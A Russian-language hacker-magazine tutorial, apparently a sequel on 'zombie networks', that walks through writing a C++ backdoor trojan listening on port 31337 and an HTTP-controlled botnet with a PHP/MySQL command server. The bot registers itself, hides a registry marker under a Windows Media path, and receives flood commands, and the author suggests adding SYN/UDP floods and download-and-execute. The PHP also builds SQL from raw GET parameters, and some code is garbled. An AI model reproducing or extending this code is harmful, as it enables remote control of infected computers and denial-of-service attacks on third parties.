Вступление

Данная статья является продолжением моей статьи
«Зомби-сети:
Рассвет Мертвецов
". На мой email пришло много вопросов по поводу реализаций управления RAT. Так что я решил
рассказать об этом подробнее. Ну, во-первых, мы напишем с тобой простейший троян, работающий по архитектуре «клиент-сервер».
Во-вторых, напишем основу взаимодействия RAT с централизованным сервером по HTTP. IRC я рассматривать не стал так как
тема уже затерта до дыр и в сети можно найти достаточное количество реализаций IRC-ботов. Начнем с «клиент-сервера».

Клиент-Сервер

Еще несколько лет назад в сети было огромное
количество троянов, работающих по этой архитектуре, сейчас же все принялись
за DDoS-ботов, работающих по централизованной архитектуре. Не скажу точно с чем это связано, но, наверное, это сейчас
более востребовано, плюс ко всему на это сейчас зарабатывают немаленькие деньги. Back Orrifce, Lamer’s
Death, AntiLamer Backdoor — все это уже в прошлом. По моему мнению, любой троян, имеющий в себе функции RAT должен содержать в себе бэкдор,
работающий как раз по архитектуре «клиент-сервер». Писать мы будем на C++ и сервер и клиент. Начать, наверное, стоит с
сервера (:

— Как это будет работать

Прежде чем что-то писать, надо разобраться, что требуется от нашего бэкдора. А требуется от него следующее:

  1. Слушать заданный порт
  2. При подключении принимать команду
  3. Обработка команды (парсинг)
  4. Выполнение команды

Смотри: серверная часть трояна слушает заданный порт
и обработав команду выполняет ее. Клиентской частью мы будем
слать эти самые команды на заданный порт. Ясно?

— Пишем сервер

В реализации все очень просто. Писать будем на WinSock2 API, так, что не забудь заинклудить winsock2.h. 
Сначала создаем серверный сокет «s» и заполним его структуру: 

#define PORT 31337 // порт, на котором будет висеть бэкдор

// … заполним структуру сокета … //
SOCKET s; SOCKADDR_IN localaddr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); //
создаем сокет
"s"

localaddr.sin_addr.s_addr = htonl(INADDR_ANY); 
localaddr.sin_family = AF_INET; 
localaddr.sin_port = htons(PORT); //
присваиваем
порт

bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); // биндим 
listen(s, 0); //
и ставим на прослушку (:

// это будет наш сокет, принимающий клиентские запросы:
SOCKADDR_IN client_addr;
int client_addr_size=sizeof(client_addr);

Следующие действия будут выполняться при подключении к серверной части трояна клиентом. С помощью accept
подключаем клиента, а с помощью функции recv получаем данные от клиента:

while(client_socket = accept(s,(struct sockaddr *)&client_addr,&client_addr_size))
{
recv(client_socket,recvbuffer+strlen(recvbuffer),100,0); //
100 — количество возможных символов, 
//
принимаемых от клиента.

Отлично, теперь все принятые данные от клиента хранятся в recvbuffer. Остается пропарсить запрос и выполнить его.
Проще говоря, получая команду «message hacked _1nf3ct3d_by_1n3ct0r_» мы должны разделить ее на слова и затолкать их в
какую-нибудь переменную для последующей обработки. В качестве разделителя команд я использую пробел. Это не совсем удобно,
лучше использовать какой-нибудь другой символ, к примеру «*». Тогда клиент будет слать команду примерно так:

message*hacked*1nf3ct3d by 1nf3ct0r

По дальнейшему коду ты поймешь, что данная команда выводит MessageBox с сообщением 
«hacked» и заголовком «1nf3ct3d by 1nf3ct0r». Приступим к парсингу: 

char* cmd[32];
char* cmdparse = strtok(recvbuffer,»*»); //
символ «*» — разделение команд
for(int i = 0; t; cmdparse = strtok(NULL,»*»), i++){ cmd[i] = cmdparse; }

Как видишь, все «слова» команды записываются в массив «cmd». К примеру, получив команду
«message*hacked*1nf3ct3d by 1nf3ct0r» от клиента, данные в массиве располагаться будут так:

cmd[0] = message — сама команда (вывод сообщения)
cmd[1] = hacked — параметр 1 (сообщение)
cmd[2] = 1nf3ct3d by 1nf3ct0r — параметр 2 (заголовок)

Вот, собственно пример обработка команды
"message":

if (strcmp(cmd[0]], «message»)==0){ 
MessageBox(0,cmd[1],cmd[2],0);


Все, готово. Теперь на зараженной машине можно вывести любое сообщение. Рассмотрим второй пример:

// пример обработки команды
"monitor_off"

if (strcmp(cmd[0], «monitor_off»)==0)

SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
strcpy(sendbuf,»\n have phun \n»); send(client_socket,sendbuf,strlen(sendbuf),0); }

После получения команды «monitor_off» на зараженной машине выключится монитор, а на клиент придет сообщение «have phun» :).
Думаю этого хватит и ты реализуешь другие фичи с помощью которых будет возможно полностью управлять зараженным компьютером.
Да, кстати. В файлах к статье найдешь полный исходный код серверной и клиентской части. Клиентскую часть я покажу сейчас как
писать… 

— Пишем клиент

Что должен уметь клиент? Ответ прост:

  1. Возможность отсылки команд
  2. Получение ответа от сервера

Реализуется это очень просто. Для начала снова создадим сокет и заполним его структуры

SOCKADDR_IN my_addr; FD_SET readfds; SOCKET main_socket;

if((main_socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))!=-1) // созадим сокет
{
readfds.fd_count=1;
readfds.fd_array[0]=main_socket;
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(31337); //
порт бэкдора
my_addr.sin_addr.s_addr=resolve(«localhost»); //
хост зараженной машины

Здесь встречается функция resolve которая занимается тем, что получает IP адрес машины по ее хосту. Вот код этой
функции: 

DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}

Теперь приконнектимся к бэкдору и посылаем команду: 

printf(«[+] Connecting…»);
if(!(connect(main_socket,(const struct sockaddr*)&my_addr,sizeof(my_addr))))
{
printf(» done. \n\r\n\r»);

strcpy(buffer, «message*hacked*1nf3ct3d by 1nf3ct0r»); // в
буфер записываем комманду 

send(main_socket,buffer,strlen(buffer),0); //
и шлем ее серверу на обработку

Ну и получаем ответ от бэкдора, снова с помощью
recv.

int i = 0;
while(i = recv(main_socket,recvbuffer+strlen(recvbuffer),10000,0))
{
printf(recvbuffer);
strcpy(recvbuffer,»»);
}
} else { printf(» cant connect. \n\r\n\r»);

Вот, собственно, и все. И да, кстати. Чтобы инициализировать WinSock2API перед работой с сокетами пиши: 

WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData);

Ну и чтобы закончить — WSACleanup(). 
Перейдем к управлению по HTTP. 

Управление по HTTP

Сейчас я расскажу о приеме команд ботами с HTTP, конечно же это будет централизованная сеть и к тому же данная система
позволит сделать распределение команд по ботам. Бота писать мы будем, конечно же, на C++, а скрипт взаимодействия
бота с сервером (получение команд и т.д) на PHP+MySQL. Вопреки слухам скажу, что сделать это очень просто, достаточно
немного времени, терпения и желания 🙂

— Как это все будет работать

Для начала следует определиться, как будет работать наша система. Рассмотрим два GET-запроса, передаваемых скрипту
нашим ботом:

  1. getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
  2. getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS

Как видно из параметров, скрипт имеет два «режима». Первый — добавляет бота в БД (addtodb=1), второй (getcommand=1) —
выдает команду. Параметры также говорят сами за себя: 

  • UID — уникальное имя бота, оно генерится при первом запуске бота и записывается в реестр, а при следующих запусках
    просто копируется от туда.
  • IP — текущий IP-адрес машины. Без комментариев.
  • OS — дополнительная информация о системе. Как вариант — имя пользователя, компьютера и версия ОС. 

При каждом коннекте к базе данных информация
UID, IP, OS будет обновляться. Начнем.

— Заполняем БД

Создавай базу bots и таблицу botscommands в ней. Вот предлагаемая мной структура:

CREATE TABLE `botcommands` (
`uid` varchar(200) NOT NULL default », #
uid бота
`cmd` varchar(200) NOT NULL default », #
команда для бота
`ip` varchar(200) NOT NULL default », #
ip-адрес бота
`os` varchar(200) NOT NULL default », #
сведения о системе
FULLTEXT KEY `uid` (`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

Здесь прибавляется поле CMD, в которой хранится команда для бота. И сразу же толкаем запись в нее, где:

UID = 1nf3ct0r; 
IP = 127.0.0.1;
OS = InfectedOS;
CMD = flood www.microsoft.com

Вот так будет выглядит SQL-запрос. 

INSERT INTO `botcommands` VALUES (‘1nf3ct0r’, ‘flood www.microsoft.com’, ‘127.0.0.1’, ‘InfectedOS’);

В файлах к статье ты найдешь дамп базы данных с структурой этой таблицы, как собственно и все исходники :).
Все. Теперь мы готовы к написанию скриптов. В качестве клиента к MySQL советую использовать phpMyAdmin или RST.MySQL
(rst.void.ru). 

— Пишем скрипты 

Испугался писать работу с базой данных MySQL на PHP? Ничего страшного 🙂 В PHP уже есть готовые функции для работы с ней.
Первая функция, которая нам понадобится — коннект к базе данных. Для этого существует функция
mysql_connect($host,$login,$password):

$SETS[‘mysql’][‘host’]=’localhost’;
$SETS[‘mysql’][‘login’]=’root’;
$SETS[‘mysql’][‘password’]=»;
$SETS[‘mysql’][‘db’]=’bots’;

$connect=mysql_connect($SETS[‘mysql’][‘host’],$SETS[‘mysql’][‘login’],$SETS[‘mysql’][‘password’]);
if ($connect===FALSE) die(‘Cant connect’);

mysql_select_db($SETS[‘mysql’][‘db’]);

Чтобы это все работало, в ‘host’ надо записать хост базы данных, в ‘login’ — логин, в ‘password’ — пароль, а в ‘db’ —
имя базы. А с помощью mysql_select_db($database) мы выбрали базу, которую указали ранее.
Следующая функция по сути не менее важная, чем коннект :)). Она нужна для выполнения SQL-запросов. Вот, смотри:

mysql_query($the_query);

Переменная $the_query — это любой SQL-запрос, который должен быть выполнен скриптом. Если у тебя есть проблемы с
SQL, то это не страшно. Я покажу тебе пару примеров составления запросов, так как без них никуда. Но это уже походу дела.
Посмотрел код? Теперь давай писать самый главный скрипт
взаимодействия бота с сервером, я буду называть его
getcommander.php. Ставь в начало кода Error_Reporting(0), чтобы он не выплевывал тупые notice, если таковые будут.
Окей, теперь давай напишем самый главный код и приступим к самому боту 🙂
Для начала объявим переменные:

$uid=$_GET[‘uid’];
$ip=$_GET[ip];
$os=$_GET[os];
$getcommand=$_GET[getcommand];
$addtodb=$_GET[addtodb];

Позволь напомнить тебе два запроса:

  1. getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // добавляем в базу
    обратившись по данному линку мы увидим ответ: done
  2. getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // получаем команду
    обратившись по данному линку мы увидим ответ: flood www.microsoft.com, а точнее значение поля
    CMD.

Все. Обрабатываем GetCommand [2]:

if ($getcommand == 1)
{
$result = mysql_query(«SELECT cmd FROM botcommands WHERE uid='».$uid.»‘»);
echo mysql_result($result,0);

// и обновляем все данные бота (IP,
OS):

mysql_query(«UPDATE botcommands SET ip='».$ip.»‘, os='».$os.»‘ WHERE uid=’".$uid."’");

Функция mysql_result() возвращает ответ от базы данных, а mysql_query() просто выполняет запрос — в этом главное
отличие. Теперь, собственно о SQL-запросах. Я расскажу совсем чуть-чуть, чтобы ты понял о чем идет речь, но советую
разобраться с этим получше, так как SQL, на самом деле очень полезная штука :). 

Запрос SELECT cmd FROM botcommands WHERE uid=<UID> возвратит значение поля cmd из таблицы botcommands принадлежащей uid = уид.
Результатом выполнения запроса SELECT cmd FROM botcommands WHERE uid=’h4x0r’ будет floot it.org.
Запрос UPDATE botcommands SET ip=<ip>, os=<os> WHERE uid=<uid> обновит значения полей. Пример:

UPDATE botcommands SET ip=31.33.73.00, os=some_info WHERE uid=1nf3ct0r

В результате запись из БД будет выглядеть так: 

1nf3ct0r 31.33.73.00 some_info hacktheplan8

Теперь рассмотрим кусок кода, который добавит бота в базу данных: 

} else if ($addtodb == 1)

echo «done»; 
mysql_query(«INSERT INTO botcommands (uid,ip,os) VALUES (‘».$uid.»‘,'».$ip.»‘,'».$os.»‘)»);
}

что касается echo «done» — то не убирай эту строку, она нам понадобится чуть позже, при проверке валидного добавления,
в базу. Но об этом позже. Все, можешь смело сохранять скрипт — он готов. Что же касается админки — пиши сам :). Пишем соответствующие функции для бота? 😉

— А теперь примемся за бота… 

Рассмотрим главную функцию бота: 

int main()
{
WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); //
инициализируем WinSock2 API

LONG sz; char buf[2]; HKEY key;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\ Windows Media\\WMSDTT», 0, KEY_QUERY_VALUE, &key)==ERROR_SUCCESS)
{getcommand(«getcommand»);} else { getcommand(«addtobase»); }

WSACleanup();
return 0;
}

Фишка тут в следующем. Если бот уже был добавлен в базу, то создастся ключ в реестре по адресу
Software\Microsoft\Windows Media\WMSDTT. Если таковой не откроется, то мы добавим себя в базу, это опять таки походу статьи.
Функция getcommand имеет параметр _action: getcommand(char*
_action).

Сам _action двух типов:

  1. getcommand
    при этом параметре выполняется получение команды с вэба, через тот самый скрипт который мы писали. 
  2. addtobase
    бот добавляется в базу 🙂

Смотри код:

char *param;
if (_action == «addtobase»)
{
param = «?addtodb=1&uid=0x48k&ip=127.0.0.2&os=1nf3ct3dOS»;
} else if (_action = «getcommand»)
{
param = «?getcommand=1&uid=1nf3ct0r&ip=127.0.0.1&os=Windows%20XP%20SP2»;
}

Я не стал писать функцию получения инфы IP, OS и генерации UID — ты сам прекрасно с этим справишься, если захочешь. 
Отправку GET-пакета и получение ответа от сервера я писал на сокетах. Этот момент мы тоже не пропустим 🙂 

#define HOST «localhost» 
#define COMMAND «/z0mbie/getcommand.php» 

char sendbuffer[1024], recvbuffer[1024]; 
memset(recvbuffer,0,1024);
// Формируем GET-пакет:
strcpy(sendbuffer, «GET «);
strcat(sendbuffer, COMMAND);
strcat(sendbuffer, param);
strcat(sendbuffer, » HTTP/1.0\r\nHost: «);
strcat(sendbuffer, HOST);
strcat(sendbuffer, «\r\n\r\n»);

Создаем сокет, заполняем его структуры:

SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN webaddr;
webaddr.sin_addr.S_un.S_addr = resolve(HOST); //
ф-ию резолва я уже описывал 🙂
webaddr.sin_family = AF_INET;
webaddr.sin_port = htons(80);

Коннектимся к серверу и шлем пакет: 

if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1; 
send(s, sendbuffer, strlen(sendbuffer),0);
Sleep(2000);

Получаем ответ от вэб сервера: 

int i;
while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0)) // получаем ответ
{if (i == SOCKET_ERROR) return -1;}

Парсим его: 

char *temp,*token;
for(int i = 0; recvbuffer[i]!=0; ++i) //
отбрасываем заголовок
{
if((recvbuffer[i]==’\r’)&&(recvbuffer[i+1]==’\n’)&&
(recvbuffer[i+2]==’\r’)&&(recvbuffer[i+3]==’\n’))
{temp = (char*)&recvbuffer[i] + 4;break;}
}
if(strcmp(temp,»»)==0) { temp = «no_commands»; }
token = strtok(temp, » \r\n»); //
делим файл на слова

char *serv,*chan,*times,*freq,*msg;
char *port;

Вот теперь, внимание! Помнишь тот самый echo «done» в php-скрипте? Это нам понадобится для того, чтобы проверить
реально ли добавился бот в базу. Например, если сервер упал 🙂 При получении строки «done» бот создает ключ в реестре,
по которому в дальнейшем ориентируется добавляться в базу или нет. 

if(strcmp(token,»done»)==0)
{
HKEY hk; RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows Media\\WMSDTT», &hk);
}

А вот пример парсинга с получением семи параметров для некой функции ircflood — она есть в исходнике к статье, грубо
говоря это распределенный флудер IRC-серверов.
Вот парсинг: 

else if(strcmp(token,»ircflood»)==0)
{
for (int i = 0; i <6; i++){
token = strtok(NULL, » \r\n»);
if (i==0) { serv = token; } //
получаем 1ый параметр (сервер)
if (i==1) { port = token; } //
получаем 2ый параметр (порт)
if (i==2) { chan = token; } //
получаем 4ый параметр (канал)
if (i==3) { times = token; } //
получаем 5ый параметр (кол-во коннектов)
if (i==4) { freq = token; } //
получаем 6ый параметр (частоту отсыла)
if (i==5) { msg = token; } //
получаем 7ой параметр (мессагу)
}

Вот и все. Готово. Никто не мешает тебе добавить новые функции, такие как флуд HTTP/ICMP/UDP/SYN пакетами или скачку и
запуск любого EXE-файла.

Заключение

В этой статье мы очень подробно разобрали управление по HTTP и архитектуру «клиент-сервер». Готовые реализации с сорсами
ты найдешь в файлах к статье. В общем, если было что-то непонятно:

  1. Читай первую часть статьи.
  2. Разбирись с WinSock2 API и смотри файлы к статье.
  3. Пиши мне на мыло и учись юзать google.

На сегодня хватит. Все свободны 🙂

Исходники

Оставить мнение

Check Also

В гостях у чертёнка. FreeBSD глазами линуксоида

Порог вхождения новичка в мир Linux за последние десять-пятнадцать лет ощутимо снизился. О…